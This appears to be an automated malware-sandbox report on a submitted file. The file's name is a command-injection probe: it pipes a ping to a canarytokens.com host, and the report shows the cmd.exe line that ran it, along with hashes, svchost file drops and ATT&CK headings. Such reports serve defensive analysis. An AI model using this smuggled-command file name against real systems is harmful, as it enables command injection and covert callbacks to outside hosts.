70f7d6466a47da3b84694486ac59ede7f8dd34ad5ec3405e225662041da54251

Analysis

max time kernel
157s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20230621-en
resource tags

arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
submitted
01/07/2023, 01:59

Target

XSS-Image-8.jpg | ping kadxw2nxsm94gzvlbxtze3zg2.canarytokens.com | echo dd.jpg
Size

30KB
MD5

b75effd65cbd5ab18367f060359d6028
SHA1

fd0998ff958a6d939c7f0490357b8300c2191256
SHA256

70f7d6466a47da3b84694486ac59ede7f8dd34ad5ec3405e225662041da54251
SHA512

11c3432c304201448eea3df5041a3d5e84ed50f8e170ba1f8080afac648cf2e11d21a70c0e7854971d0b4863db8921da4bec4c1dafae85978a13a26709db7526
SSDEEP

768:TAPzskkmfoE/xchDyV/iM60TYU+FuPwc01wIyhEH:M7stmfocsyV/id0Lhs1+h8

Score

5^/10

Drops file in System32 directory 8 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{D1FD0D0D-0DCD-4371-94AF-BB2E39709DF9}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{4AA2BEE3-CE3B-4C17-A6CB-ABB18DB42D7D}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{04EED4FB-7437-41F5-BA96-9773CCB47738}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{D87F7C18-C7D0-4CB5-A61B-1B3266848416}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{51718435-DF60-4E79-B9D4-B42196C6ABA4}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{317735B9-24AB-4D01-92BE-63FF0CE74521}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{1A8DD4E3-1E1F-47C8-AE7B-64CDA2C7A76F}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{3E3A85AD-5424-4C2D-B406-A7977030E2B8}.catalogItem	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\XSS-Image-8.jpg _ ping kadxw2nxsm94gzvlbxtze3zg2.canarytokens.com _ echo dd.jpg"
1⤵
PID:4848

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
- Drops file in System32 directory
PID:5112

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact